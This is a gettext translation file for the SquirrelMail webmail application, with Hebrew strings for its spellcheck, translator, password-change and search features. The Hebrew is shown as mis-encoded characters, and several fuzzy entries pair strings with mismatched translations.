"×ת ×”×¡×™×¡×ž× ×•×ž× ×”×œ המערכת שינה ×ותה, המילון ×”×ישי שלך ×™×”×™×” חסר שימוש ויהיה "
"עלייך להתחיל מחדש. בכל ×ופן, במקרה ומנהל המערכת שינה ×ת ×”×¡×™×¡×ž× ×©×œ×š, והינך "
"זוכר ×ת ×”×¡×™×¡×ž× ×”×™×©× ×”, ×™×”×™×” ביכולתך להקליד ×ת ×”×¡×™×¡×ž× ×”×™×©× ×” ולהצפין מחדש ×ת "
"המילון בעזרת ×”×¡×™×¡×ž× ×”×—×“×©×”.</p>"

msgid ""
"Please encrypt my personal dictionary and store it in an encrypted format."
msgstr "הצפן בבקשה ×ת המילון ×”×ישי שלי ו×חסן ×ותו בצורה מוצפנת."

#, fuzzy, php-format
msgid "Deleting the following entries from %s dictionary:"
msgstr "מוחק ×ת הרשומות הב×ות מהמילון <strong>%s</strong>:"

msgid "All done!"
msgstr "הכל סויי×!"

msgid "Personal Dictionary Updated"
msgstr "עודכן המילון ×”×ישי"

msgid "No changes requested."
msgstr "×œ× × ×ª×‘×§×©×• שינויי×."

msgid "Please wait, communicating with the server..."
msgstr "×× × ×”×ž×ª×Ÿ, יוצר קשר ×¢× ×”×©×¨×ª..."

msgid ""
"Please choose which dictionary you would like to use to spellcheck this "
"message:"
msgstr "×× × ×‘×—×¨ ב××™×–×” מילון ברצונך להשתמש לבדיקת ×”×יות של הודעה זו:"

msgid "SquirrelSpell Initiating"
msgstr "מ×תחל ×ת SquirrelSpell"

#, fuzzy, php-format
msgid "Settings adjusted to: %s with %s as default dictionary."
msgstr ""
"הגדרות הות×מו ל: <strong>%s</strong> ×¢× <strong>%s</strong> כמילון ברירת "
"המחדל."

#, fuzzy, php-format
msgid "Using %s dictionary (system default) for spellcheck."
msgstr "משתמש במילון <strong>%s</strong> (ברירת מחדל של המערכת) לבדיקת ×יות."

msgid "International Dictionaries Preferences Updated"
msgstr "הגדרות מילון בינל×ומי עודכנו"

msgid ""
"Please check any available international dictionaries which you would like "
"to use when spellchecking:"
msgstr "×× × ×¡×ž×Ÿ ×ת כל ×”×ž×™×œ×•× ×™× ×”×‘×™× ×œ××•×ž×™×™× ×©×‘×¨×¦×•× ×š להשתמש בבדיק ×יות:"

msgid "Make this dictionary my default selection:"
msgstr "הפוך מילון זה לברירת המחדל שלי:"

msgid "Make these changes"
msgstr "בצע ×©×™× ×•×™×™× ×לו"

msgid "Add International Dictionaries"
msgstr "הוסף ×ž×™×œ×•× ×™× ×‘×™× ×œ×ומיי×"

msgid "Please choose which options you wish to set up:"
msgstr "×× × ×‘×—×¨ ×ת ×”×פשרויות שברצונך להגדיר:"

msgid "Edit your personal dictionary"
msgstr "ערוך ×ת המילון ×”×ישי שלך"

msgid "Set up international dictionaries"
msgstr "הכן ×ž×™×œ×•× ×™× ×‘×™× ×œ×ומיי×"

msgid "Encrypt or decrypt your personal dictionary"
msgstr "הצפן ×ו פענח ×ת המילון ×”×ישי שלך"

#, fuzzy
msgid "not available"
msgstr "×œ× ×–×ž×™×Ÿ"

msgid "SquirrelSpell Options Menu"
msgstr "תפריט ×פשרויות SquirrelSpell"

msgid "Translator"
msgstr "מתרג×"

#, fuzzy
msgid "Saved Translation Options"
msgstr "×פשרויות תרגו×"

msgid "Your server options are as follows:"
msgstr "×פשרויות השרת שלך הן:"

msgid "Maximum of 150 words translated, powered by Systran"
msgstr ""

#, php-format
msgid "Number of supported language pairs: %s"
msgstr ""

msgid "No known limits, powered by Systran"
msgstr ""

msgid "No known limits, powered by Translation Experts' InterTran"
msgstr ""

#, php-format
msgid "Number of supported languages: %s"
msgstr ""

msgid "Hellenic translations, no known limits, powered by Systran"
msgstr ""

msgid "Russian translations, maximum of 500 characters translated"
msgstr ""

msgid ""
"You also decide if you want the translation box displayed, and where it will "
"be located."
msgstr "×תה ×’× ×ž×—×œ×™×˜ ×”×× ×ª×•×¦×’ קופס×ת התרגו×, ו×יכן ×”×™× ×ª×ž×•×§×."

msgid "Select your translator:"
msgstr "בחר ×ת ×”×ž×ª×¨×’× ×©×œ×š:"

msgid "When reading:"
msgstr "×›×שר בקרי××”:"

msgid "Show translation box"
msgstr "הצג קופס×ת תרגו×"

msgid "to the left"
msgstr "משמ×ל"

msgid "in the center"
msgstr "במרכז"

msgid "to the right"
msgstr "מימין"

msgid "Translate inside the SquirrelMail frames"
msgstr "×ª×¨×’× ×‘×ª×•×š המסגרות של SquirrelMail"

msgid "Translation Options"
msgstr "×פשרויות תרגו×"

msgid ""
"Which translator should be used when you get messages in a different "
"language?"
msgstr "ב××™×–×” ×ž×ª×¨×’× ×œ×”×ª×©×ž×© ×›×שר הינך מקבל הודעות בשפות שונות?"

#, php-format
msgid "%s to %s"
msgstr "%s ל-%s"

msgid "Chinese, Simplified"
msgstr ""

msgid "English"
msgstr "×נגלית"

msgid "Chinese, Traditional"
msgstr ""

msgid "Dutch"
msgstr "הולנדית"

msgid "French"
msgstr "צרפתית"

msgid "German"
msgstr "גרמנית"

msgid "Greek"
msgstr "יוונית"

msgid "Italian"
msgstr "×יטלקית"

msgid "Japanese"
msgstr "יפנית"

#, fuzzy
msgid "Korean"
msgstr "נורווגית"

msgid "Portuguese"
msgstr "פורטוגזית"

msgid "Russian"
msgstr "רוסית"

msgid "Spanish"
msgstr "ספרדית"

msgid "Translate"
msgstr "תרג×"

msgid "Brazilian Portuguese"
msgstr "פורטוגזית (ברזיל)"

msgid "Bulgarian"
msgstr "בולגרית"

msgid "Croatian"
msgstr "קרו×טית"

msgid "Czech"
msgstr "צ'כית"

msgid "Danish"
msgstr "דנית"

msgid "Filipino (Tagalog)"
msgstr ""

msgid "Finnish"
msgstr "פינית"

msgid "Hungarian"
msgstr "הונגרית"

msgid "Icelandic"
msgstr "×יסלנדית"

msgid "Latin"
msgstr "לטינית"

msgid "Latin American Spanish"
msgstr "ספרדית (דרו×-×מריקה)"

msgid "Norwegian"
msgstr "נורווגית"

msgid "Polish"
msgstr "פולנית"

msgid "Romanian"
msgstr "רומנית"

msgid "Serbian"
msgstr "סרבית"

msgid "Slovenian"
msgstr "סלובנית"

msgid "Swedish"
msgstr "שוודית"

msgid "Turkish"
msgstr ""

msgid "Welsh"
msgstr "וולשית"

msgid "Indonesian"
msgstr "×ינדונזית"

#, fuzzy
msgid "to English"
msgstr "×נגלית"

#, fuzzy
msgid "from English"
msgstr "×נגלית"

#, fuzzy
msgid "Interface language"
msgstr "שפה ברירת מחדל"

#, fuzzy
msgid "Translation direction"
msgstr "×פשרויות תרגו×"

#, fuzzy, php-format
msgid "About SquirrelMail %s"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

msgid ""
"SquirrelMail is the name of the program that provides access to your email "
"via the web."
msgstr ""

#, php-format
msgid ""
"If you have questions about or problems with your mail account, passwords, "
"abuse etc, please refer to your system administrator or provider%s."
msgstr ""

#, php-format
msgid ""
"They can assist you adequately with these issues. The SquirrelMail Project "
"Team cannot help you with that. The %shelp system%s provides answers to "
"frequently asked questions."
msgstr ""

#, php-format
msgid ""
"SquirrelMail is a feature rich, standards compliant webmail application "
"written in PHP. It was made by a group of volunteers united in the "
"SquirrelMail Project Team and is released as open source, free software "
"under the %sGNU General Public License%s."
msgstr ""

#, php-format
msgid ""
"For more information about SquirrelMail and the SquirrelMail Project Team, "
"see %sthe SquirrelMail website%s."
msgstr ""

#, fuzzy
msgid "System information"
msgstr "מידע ×ישי"

#, fuzzy, php-format
msgid "You are using SquirrelMail version: %s"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

msgid "The administrator installed the following plugins:"
msgstr ""

msgid "none installed"
msgstr ""

msgid "sort by nickname"
msgstr ""

#, fuzzy
msgid "sort by name"
msgstr "×©× ×ž×©×¤×—×”"

msgid "sort by email"
msgstr ""

msgid "sort by info"
msgstr ""

#, fuzzy
msgid "Add to address book"
msgstr "הוסף לספר כתובות"

msgid ""
"Because PHP file uploads are turned off, you can not attach files to this "
"message. Please see your system administrator for details."
msgstr ""

#, fuzzy
msgid "No folders were found to unsubscribe from."
msgstr "×œ× × ×ž×¦×ו תיקיות לביטול הרשמה מהן!"

#, fuzzy
msgid "No folders were found to subscribe to."
msgstr "×œ× × ×ž×¦×ו תיקיות ×œ×”×¨×©× ×ליהן!"

msgid "Last Refresh"
msgstr "רוענן ל×חרונה"

#, fuzzy
msgid "Check mail"
msgstr "בדוק דו×ר בכניסה"

msgid "Save folder tree"
msgstr ""

#, fuzzy
msgid "SquirrelMail Webmail Application"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

#, fuzzy
msgid "Compose Preferences"
msgstr "×פשרויות תיקיה"

msgid ""
"Control the behaviour and layout of writing new mail messages, replying to "
"and forwarding messages."
msgstr ""

#, fuzzy
msgid "Received"
msgstr "קבלה"

#, fuzzy
msgid "As Attachment"
msgstr "מצורפי×"

msgid "Bypass Trash"
msgstr ""

msgid "Please enter something to search for"
msgstr ""

msgid "There must be at least one criteria to search for"
msgstr ""

msgid "Error in criteria argument"
msgstr ""

msgid "(Illegal date)"
msgstr ""

msgid "(Wrong date)"
msgstr ""

#, fuzzy
msgid "In"
msgstr "מידע"

msgid "(Missing argument)"
msgstr ""

msgid "(Spurious argument)"
msgstr ""

#, fuzzy
msgid "Fold"
msgstr "תיקיות"

#, fuzzy
msgid "Unfold"
msgstr "מידע"

#, fuzzy
msgid "Saved Searches"
msgstr "×—×™×¤×•×©×™× ×חרוני×"

msgid "Missing"
msgstr ""

msgid "and&nbsp;subfolders:"
msgstr ""

msgid "Exclude Criteria:"
msgstr ""

#, fuzzy
msgid "Search Criteria"
msgstr "חפש ×ת"

#, fuzzy
msgid "Add New Criteria"
msgstr "הוסף שרת"

msgid "Remove Excluded Criteria"
msgstr ""

msgid "Remove All Criteria"
msgstr ""

#, fuzzy
msgid "Not"
msgstr "פתק"

#, fuzzy
msgid "Answered"
msgstr "ממורכז"

#, fuzzy
msgid "Before"
msgstr "שכח"

#, fuzzy
msgid "Message Body"
msgstr "הודעה "

#, fuzzy
msgid "Deleted"
msgstr "מחק"

#, fuzzy
msgid "Draft"
msgstr "שמור טיוטה"

#, fuzzy
msgid "Flagged"
msgstr "סימון"

#, fuzzy
msgid "Sent By"
msgstr "נשלח:"

#, fuzzy
msgid "Header Field"
msgstr "כותרות"

msgid "Keyword"
msgstr ""

msgid "Larger Than"
msgstr ""

msgid "Old"
msgstr ""

msgid "On"
msgstr ""

#, fuzzy
msgid "Recent"
msgstr "קבלה"

#, fuzzy
msgid "Seen"
msgstr "שלח"

#, fuzzy
msgid "Sent Before"
msgstr "תיקית דו×ר יוצ×"

#, fuzzy
msgid "Sent On"
msgstr "נשלח:"

msgid "Sent Since"
msgstr ""

#, fuzzy
msgid "Since"
msgstr "גודל"

msgid "Smaller Than"
msgstr ""

#, fuzzy
msgid "Subject Contains"
msgstr "מכיל:"

msgid "Header and Body"
msgstr ""

#, fuzzy
msgid "Sent To"
msgstr "נשלח:"

msgid "And In"
msgstr ""

msgid "Or In"
msgstr ""

#, fuzzy
msgid "And"
msgstr "הוסף"

msgid "Or"
msgstr ""

msgid "Standard search"
msgstr ""

msgid "Advanced search"
msgstr ""

#, fuzzy
msgid "Folder List"
msgstr "תיקיות"

msgid "PHP install does not have LDAP support."
msgstr ""

msgid "Click here to change the sorting of the address list"
msgstr ""

msgid "Illegal folder name."
msgstr ""

#, php-format
msgid "The name may not contain any of the following: %s"
msgstr ""

#, fuzzy
msgid "Please select a different name."
msgstr "×©× ×ª×™×§×™×” ×œ× ×—×•×§×™. ×× × ×‘×—×¨ ×©× ×חר."

#, fuzzy
msgid "You have not selected a folder to subscribe. Please do so."
msgstr "×œ× ×‘×—×¨×ª תיקיה ×שר ברצונך לשנות ×ת שמה."

#, fuzzy
msgid "You have not selected a folder to unsubscribe. Please do so."
msgstr "×œ× ×‘×—×¨×ª תיקיה ×שר ברצונך לשנות ×ת שמה."

msgid "Possible reason:"
msgstr ""

msgid "ERROR: Bad function call."
msgstr ""

#, fuzzy
msgid "Reason:"
msgstr "תשובה:"

msgid ""
"TLS is enabled, but this version of PHP does not support TLS sockets, or is "
"missing the openssl extension."
msgstr ""

msgid ""
"Your mailbox is not located at this server. Try a different server or "
"consult your system administrator"
msgstr ""

#, fuzzy
msgid "Unknown recipient"
msgstr "שולח ×œ× ×™×“×•×¢"

msgid "Unflag"
msgstr ""

#, fuzzy
msgid "Flag"
msgstr "סימון"

#, fuzzy
msgid "Undelete"
msgstr "מחק"

#, fuzzy
msgid "General Message Composition"
msgstr "הגדרות תצוגה - הודעה וכתיבה"

#, fuzzy
msgid "Replying and Forwarding Messages"
msgstr "כלול ×”×¢×ª×§×™× ×›×שר ×× ×™ מפיץ הודעה"

msgid "Strip signature when replying"
msgstr ""

msgid "Enable Fancy Row Mouseover Highlighting"
msgstr ""

msgid "Message Flags Icon Theme"
msgstr ""

msgid "Show Flag / Unflag Buttons"
msgstr ""

#, fuzzy
msgid "Use Compact Page Selector"
msgstr "×פשר בוחר דפי×"

msgid "Length of From/To Field (0 for full)"
msgstr ""

msgid "Length of Subject Field (0 for full)"
msgstr ""

#, fuzzy
msgid "Message Display Options"
msgstr "הגדרות תצוגה - כללי"

msgid "Show 'Delete & Prev/Next' Links"
msgstr ""

#, fuzzy
msgid "Save Replies with Original Message"
msgstr "הודעה מקורית"

#, fuzzy, php-format
msgid "%d Minute"
msgid_plural "%d Minutes"
msgstr[0] "דקה"
msgstr[1] "דקה"

msgid "Show only subscribed folders"
msgstr ""

msgid "XP"
msgstr ""

#, fuzzy
msgid "Hide SquirrelMail Header"
msgstr "הצג כל הכותרות"

#, fuzzy
msgid "Search functions"
msgstr "חפש ×ת"

msgid "Only basic search"
msgstr ""

msgid "Only advanced search"
msgstr ""

msgid "Both search functions"
msgstr ""

msgid "Show alternative language names"
msgstr ""

msgid "Available languages"
msgstr ""

#, fuzzy
msgid "Enable aggressive decoding"
msgstr "×פשר בוחר דפי×"

msgid "Tweaks"
msgstr ""

msgid "Use advanced tree folder listing"
msgstr ""

#, fuzzy
msgid "Use icons"
msgstr "שניות"

msgid "Use PHP recode functions"
msgstr ""

msgid "Use PHP iconv functions"
msgstr ""

msgid "Allow remote configuration test"
msgstr ""

msgid "Show System Specifications"
msgstr ""

#, fuzzy
msgid "Search Mailing List Archives"
msgstr "הצג ×רכיוני×"

msgid "Search SourceForge Bugtracker"
msgstr ""

#, fuzzy
msgid "Search for words:"
msgstr "חפש ×ת"

msgid "Written by:"
msgstr ""

#, fuzzy
msgid "Email addresses only"
msgstr "כתובת דו×\"ל"

#, fuzzy
msgid "Mailing list:"
msgstr "רשימת תפוצה"

#, fuzzy
msgid "SquirrelMail users list"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

#, fuzzy
msgid "SquirrelMail plugins list"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

#, fuzzy
msgid "SquirrelMail developers list"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

#, fuzzy
msgid "SquirrelMail internationalization list"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

#, fuzzy
msgid "Sort by:"
msgstr "עדיפות:"

msgid "Relevance"
msgstr ""

#, fuzzy
msgid "Search Archives"
msgstr "תוצ×ות חיפוש"

#, fuzzy
msgid "Reset Form"
msgstr "מחק תיקיה"

msgid "Summary keyword:"
msgstr ""

#, fuzzy
msgid "Sort By:"
msgstr "עדיפות:"

msgid "ID"
msgstr ""

#, fuzzy
msgid "Summary"
msgstr "ר×שון"

#, fuzzy
msgid "Open Date"
msgstr "פתיחה נכשלה"

#, fuzzy
msgid "Close Date"
msgstr "סגור"

#, fuzzy
msgid "Submitter"
msgstr "שלח"

msgid "Assignee"
msgstr ""

#, fuzzy
msgid "Order:"
msgstr "×חר:"

#, fuzzy
msgid "Ascending"
msgstr "שלח"

msgid "Descending"
msgstr ""

msgid "Search Bugtracker"
msgstr ""

msgid "You must type in a new password."
msgstr ""

msgid "You must also type in your new password in the verify box."
msgstr ""

msgid "Your new password does not match the verify password."
msgstr ""

msgid "You must type in your current password."
msgstr ""

#, fuzzy
msgid "Your current password is not correct."
msgstr "×©× ×ž×©×ª×ž×© ×ו ×¡×™×¡×ž× ××™× × × ×›×•× ×™×."

#, php-format
msgid "Your new password should be %s to %s characters long."
msgstr ""

#, fuzzy
msgid "Your new password contains invalid characters."
msgstr "כינוי מכיל ×ª×•×•×™× ×œ× ×—×•×§×™×™×"

#, fuzzy
msgid "Change Password"
msgstr "שנה מילה זו"

#, fuzzy
msgid "Current Password:"
msgstr "סיסמ×:"

#, fuzzy
msgid "New Password:"
msgstr "סיסמ×:"

#, fuzzy
msgid "Verify New Password:"
msgstr "סיסמ×:"

msgid "Use this to change your email password."
msgstr ""

#, fuzzy
msgid "User's Password"
msgstr "סיסמ×:"

msgid "Current configuration requires LDAP support in PHP."
msgstr ""

msgid "Plugin is not configured correctly."
msgstr ""

#, php-format
msgid "Setting of LDAP connection option %s to value %s failed."
msgstr ""

#, php-format
msgid "Incorrect LDAP connection option: %s"
msgstr ""

msgid ""
"Current PHP LDAP extension does not allow use of ldap_set_option() function."
msgstr ""

#, fuzzy
msgid "Unable to use TLS."
msgstr "שמור \\ עדכן"

#, fuzzy, php-format
msgid "Error: %s"
msgstr "שגי××”"

msgid "Unable to use LDAP TLS in current setup."
msgstr ""

msgid "Unable to bind to LDAP server."
msgstr ""

#, fuzzy, php-format
msgid "Server replied: %s"
msgstr "השרת השיב:"

msgid "Unable to find user's password attribute."
msgstr ""

msgid "Unable to rebind to LDAP server."
msgstr ""

msgid "LDAP server uses different attribute to store user's password."
msgstr ""

#, fuzzy
msgid "Unable to connect to LDAP server."
msgstr "×ין חיבור לשרת"

msgid "Unable to find user's DN."
msgstr ""

#, fuzzy
msgid "Search error."
msgstr "חפש ×ת"

msgid "Multiple userid matches found."
msgstr ""

msgid "ldap_get_dn error."
msgstr ""

#, php-format
msgid "Unsupported crypto: %s"
msgstr ""

msgid "PHP mhash extension is missing."
msgstr ""

msgid "System crypt library doesn't support standard DES crypt."
msgstr ""

msgid "System crypt library doesn't have MD5 support."
msgstr ""

msgid "System crypt library doesn't support extended DES crypt."
msgstr ""

msgid "System crypt library doesn't have Blowfish support."
msgstr ""

#, fuzzy
msgid "unknown"
msgstr "שולח ×œ× ×™×“×•×¢"

msgid "Unable to validate user's password."
msgstr ""

msgid "Blowfish is not supported by webserver's system crypt library."
msgstr ""

msgid "MD5 is not supported by webserver's system crypt library."
msgstr ""

msgid ""
"Extended DES crypt is not supported by webserver's system crypt library."
msgstr ""

msgid ""
"Standard DES crypt is not supported by webserver's system crypt library."
msgstr ""

msgid "PHP Curl extension is NOT available! Unable to change password!"
msgstr ""

msgid "Cannot change password! (Is user 'Self Configurable User' ?) (401)"
msgstr ""

#, fuzzy
msgid "Cannot change password!"
msgstr "שנה מילה זו"

msgid "Cannot connect to Database Server, please try later!"
msgstr ""

msgid "Database not found on server"
msgstr ""

msgid "SQL call failed, try again later."
msgstr ""

msgid "Duplicate login entries detected, cannot change password!"
msgstr ""

msgid "Password change was not successful!"
msgstr ""

msgid "Closing Connection"
msgstr ""

#, fuzzy
msgid "Connecting to Password Server"
msgstr "×ין חיבור לשרת"

msgid "No valid backend defined."
msgstr ""

msgid "Incorrent path to vmail.inc file."
msgstr ""

msgid "Invalid or corrupted vmail.inc file."
msgstr ""

msgid "Invalid user."
msgstr ""

#, fuzzy
msgid "Empty domain"
msgstr "מחרוזת פקודה ריקה"

#, fuzzy
msgid "Empty domain password"
msgstr "מחרוזת פקודה ריקה"

#, fuzzy
msgid "Empty username"
msgstr "×©× ×ž×©×ª×ž×©:"

msgid "Empty new password"
msgstr ""

#, fuzzy
msgid "Server Capability response:"
msgstr "השרת השיב:"

msgid ""
"Select the IMAP commands you would like to run. Most commands require a "
"selected mailbox so the select command is already setup. You can clear all "
"the commands and test your own IMAP command strings. The commands are "
"executed in order. The default values are simple IMAP commands using your "
"default_charset and folder_prefix from SquirrelMail when needed."
msgstr ""

msgid ""
"NOTE: These commands are live, any changes made will effect your current "
"email account."
msgstr ""

#, fuzzy
msgid "Select"
msgstr "בחר הכל"

#, fuzzy
msgid "Test Name"
msgstr "×©× ×ž×©×¤×—×”"

#, fuzzy
msgid "IMAP command string"
msgstr "מחרוזת פקודה ריקה"

#, fuzzy
msgid "Request:"
msgstr "מבוקש"

#, fuzzy
msgid "No POP3 servers configured yet."
msgstr "×œ× ×”×•×’×“×¨ שרת"

#, fuzzy
msgid "Click here to go to the options page."
msgstr "לחץ ×›×ן בכדי להתחבר מחדש."

#, fuzzy, php-format
msgid "Login OK: Inbox contains %s message"
msgid_plural "Login OK: Inbox contains %s messages"
msgstr[0] "כניסה ×ושרה: תיבת דו×ר נכנס מכילה ["
msgstr[1] "כניסה ×ושרה: תיבת דו×ר נכנס מכילה ["

#, fuzzy
msgid "Width of popup window:"
msgstr "רוחב חלון עריכה"

msgid "If set to 0, reverts to default value"
msgstr ""

#, fuzzy
msgid "Height of popup window:"
msgstr "גובה חלון עריכה"

#, fuzzy
msgid "uploaded media file"
msgstr "קובץ מדיה מקומי:"

#, fuzzy
msgid "none"
msgstr "סיי×"

#, fuzzy
msgid "Upload Media File:"
msgstr "קובץ מדיה מקומי:"

#, fuzzy
msgid "Uploaded Media File:"
msgstr "קובץ מדיה מקומי:"

#, fuzzy
msgid "unavailable"
msgstr "×œ× ×–×ž×™×Ÿ"

#, php-format
msgid "Media file %s will be removed, if you upload other media file."
msgstr ""

#, fuzzy
msgid "Spam Service Type:"
msgstr "סוג שרת IMAP"

msgid "Free reporting"
msgstr ""

msgid "Member services"
msgstr ""

#, fuzzy
msgid "Save Service Type"
msgstr "סוג סריקה שמורה"

#, fuzzy
msgid "SpamCop reporting"
msgstr "סינון דו×ר זבל (SPAM)"

#, fuzzy
msgid "Translation Theme:"
msgstr "תרג×"

msgid ""
"Selected translation engine is disabled. Please update your translation "
"preferences."
msgstr ""

#, fuzzy
msgid "Translation Preferences"
msgstr "הגדרות חברה"

msgid "Maximum of 25 kilobytes translated, powered by Systran"
msgstr ""

msgid "No known limits, powered by GPLTrans (free, open source)"
msgstr ""

msgid "Transliterate unknown words:"
msgstr ""

msgid "When composing:"
msgstr "×›×שר בכתיבה:"

msgid "Not yet functional, currently does nothing"
msgstr "×œ× ×¤×¢×™×œ עדיין, לעת עתה ×œ× ×¢×•×©×” כלו×"

msgid "Delivery error report"
msgstr ""

msgid "Undelivered Message Headers"
msgstr ""

msgid "This image has been removed for security reasons"
msgstr ""

#~ msgid "Business Card"
#~ msgstr "כרטיס ביקור"

#~ msgid "Click here to try again"
#~ msgstr "לחץ ×›×ן בכדי לנסות שוב"

#~ msgid "Unknown message number in reply from server: "
#~ msgstr "מספר ×œ× ×™×“×•×¢ של הודעה בתשובה מהשרת: "

#~ msgid "(unknown sender)"
#~ msgstr "(שולח ×œ× ×™×“×•×¢)"

#~ msgid "Enable Subtle Printer Friendly Link"
#~ msgstr "×פשר קישור עדין להדפסת ההודעה"

#~ msgid "Authenticated SMTP"
#~ msgstr "SMTP מ×ומת"

#~ msgid "35 min."
#~ msgstr "35 דקות"

#~ msgid ""
#~ "FREE - Osirusoft Relays - Osirusofts list of verified open relays. Seems "
#~ "to include servers used by abuse@uunet.net auto-replies too."
#~ msgstr ""
#~ "×—×™× × - רשומות של שרתי דו×ר ×”×¤×ª×•×—×™× ×œ×›×•×œ×, ובכך מ××¤×©×¨×™× ×©×œ×™×—×ª דו×ר "
#~ "×לקטרוני ×“×¨×›× ×œ×›×œ ×חד (Osirusoft)."

#~ msgid "FREE - Osirusoft Dialups - Osirusofts Dialup Spam Source list."
#~ msgstr ""
#~ "×—×™× × - רשימה של שרתי חיוג ×שר ×œ×¢×™×ª×™× ×§×¨×•×‘×•×ª שימשו ×›×©×¨×ª×™× ×œ×©×œ×™×—×ª דו×ר זבל "
#~ "(Osirusoft)."

#~ msgid ""
#~ "FREE - Osirusoft Confirmed Spam Source - Sites that continually spam and "
#~ "have been manually added after multiple nominations. Use with caution. "
#~ "Seems to catch abuse auto-replies from some ISPs."
#~ msgstr ""
#~ "×—×™× × - רשימה ידנית של ×©×¨×ª×™× ×שר ×©×•×œ×—×™× ×“×•×ר זבל ×œ×œ× ×”×¨×£, וקבלו תלונות "
#~ "רבות. ×× × ×”×©×ª×ž×©×• ברשימה זו בזהירות (Osirusoft)."

#~ msgid ""
#~ "FREE - Osirusoft Smart Hosts - List of hosts that are secure but relay "
#~ "for other mail servers that are not secure."
#~ msgstr ""
#~ "×—×™× × - רשימה של ×©×¨×ª×™× ×‘×˜×•×—×™× ×שר מ××©×¨×™× ×©×™×ž×•×© בשרתי הדו×ר ×©×œ×”× ×œ×©×¨×ª×™× ×שר "
#~ "××™× × ×‘×˜×•×—×™× (Osirusoft)."

#~ msgid ""
#~ "FREE - Osirusoft Spamware Developers - It is believed that these are IP "
#~ "ranges of companies that are known to produce spam software. Seems to "
#~ "catch abuse auto-replies from some ISPs."
#~ msgstr ""
#~ "×—×™× × - רשימה של כתובות IP ×שר כביכול משמשות חברות ×שר שולחות דו×ר זבל "
#~ "(Osirusoft)."

#~ msgid ""
#~ "FREE - Osirusoft Unconfirmed OptIn Servers - List of listservers that opt "
#~ "users in without confirmation."
#~ msgstr ""
#~ "×—×™× × - רשימה של שרתי רשימות תפוצה ×שר ×ž×•×¡×™×¤×™× ××œ×™×”× ×ž×©×ª×ž×©×™× ×œ×œ× ×‘×§×©×ª "
#~ "×ישור (Osirusoft)."

#~ msgid ""
#~ "FREE - Osirusoft Insecure formmail.cgi scripts - List of insecure "
#~ "formmail.cgi scripts. (planned)."
#~ msgstr "×—×™× × - רשימה של ×¡×§×¨×™×¤×˜×™× ×œ× ×‘×˜×•×—×™× ×שר ×©×•×œ×—×™× ×“×•×ר זבל (Osirusoft)."

#~ msgid "FREE - Osirusoft Open Proxy Servers - List of Open Proxy Servers."
#~ msgstr "×—×™× × - רשימה של שרתי פרוקסי ×¤×ª×•×—×™× (Osirusoft)."

#~ msgid "All Messages"
#~ msgstr "כל ההודעות"

#~ msgid "] messages"
#~ msgstr "] הודעות"

#~ msgid "No-one server in use. Try to add."
#~ msgstr "×œ× × ×ž×¦× ××£ שרת ×חד בשימוש. נסה להוסיף."

#~ msgid "Mofify a Server"
#~ msgstr "עדכן שרת"

#~ msgid ""
#~ "Select from the list of <b>server files</b> the media file to play when "
#~ "new mail arrives.  Selecting <b>local media</b> will play the file "
#~ "specified in the <b>local media file</b> box to play from the local "
#~ "computer.  If no file is specified, the system will use a default from "
#~ "the server."
#~ msgstr ""
#~ "בחר מהרשימה של <b>קבצי השרת</b> ×ת קובץ המדיה שברצונך שינגן ×›×שר מגיע "
#~ "דו×ר חדש. בחירת ×”×פשרות <b>קובץ מדיה מקומי</b> ינגן ×ת הקובץ ×שר יבחר "
#~ "מהמחשב שלך. ×× ×œ× × ×‘×—×¨ ×©×•× ×§×•×‘×¥ המערכת תשתמש בקובץ ברירת המחדל."

#~ msgid "(local media)"
#~ msgstr "(מדיה מקומית)"

#~ msgid "New Mail Notification options saved"
#~ msgstr "הגדרות הודעה על דו×ר חדש נשמרו"

#~ msgid "Unknown error"
#~ msgstr "שגי××” ×œ× ×™×“×•×¢×”"

#~ msgid "To:"
#~ msgstr "×ל:"

#~ msgid "CC:"
#~ msgstr "העתקי×:"

#~ msgid "BCC:"
#~ msgstr "×”×¢×ª×§×™× ×¢×™×•×•×¨×™×:"

#~ msgid "Subject:"
#~ msgstr "נוש×:"

#~ msgid "said"
#~ msgstr "×מר"

#, fuzzy
#~ msgid "Draft folder"
#~ msgstr "תיקית טיוטות"

#~ msgid "CC"
#~ msgstr "העתקי×"

#~ msgid "Viewing a message attachment"
#~ msgstr "מציג מצורף להודעה"

#~ msgid "Cc:"
#~ msgstr "העתקי×:"

#~ msgid "Bcc:"
#~ msgstr "×”×¢×ª×§×™× ×¢×™×•×•×¨×™×:"

#~ msgid "<No subject>"
#~ msgstr ">×œ×œ× × ×•×©×<"

#~ msgid "Enable request/confirm reading"
#~ msgstr "×פשר בקשת\\×ישור קרי××”"

#~ msgid "Use receive date for sort"
#~ msgstr "השתמש בת×ריך הקבלה למיון"

#~ msgid "There was an error contacting the mail server."
#~ msgstr "היתה שגי××” ביצירת קשר ×¢× ×©×¨×ª הדו×ר."

#~ msgid "Contact your administrator for help."
#~ msgstr "צור קשר ×¢× ×ž× ×”×œ המערכת לקבלת עזרה."

#~ msgid "No Messages found"
#~ msgstr "×œ× × ×ž×¦×ו הודעות"

#~ msgid ""
#~ "Please contact your system administrator and report the following error:"
#~ msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על השגי××” הב××”."

#~ msgid "No To Address"
#~ msgstr "חסר מכותב (×ל)"

#~ msgid "Found"
#~ msgstr "נמצ×"

#~ msgid "messages"
#~ msgstr "הודעות"

#~ msgid "Error decoding mime structure.  Report this as a bug!"
#~ msgstr "שגי××” בפענוח מבנה סוג קובץ. ×× × ×“×•×•×— על ב××’ ×–×”!"

#~ msgid "Submit message"
#~ msgstr "שלח הודעה"

#~ msgid ""
#~ "<p>Your personal dictionary is <strong>currently encrypted</strong>. This "
#~ "helps protect your privacy in case the web-mail system gets compromized "
#~ "and your personal dictionary ends up stolen. It is currently encrypted "
#~ "with the password you use to access your mailbox, making it hard for "
#~ "anyone to see what is stored in your personal dictionary.</p> "
#~ "<p><strong>ATTENTION:</strong> If you forget your password, your personal "
#~ "dictionary will become unaccessible, since it can no longer be decrypted. "
#~ "If you change your mailbox password, SquirrelSpell will recognize it and "
#~ "prompt you for your old password in order to re-encrypt the dictionary "
#~ "with a new key.</p>"
#~ msgstr ""
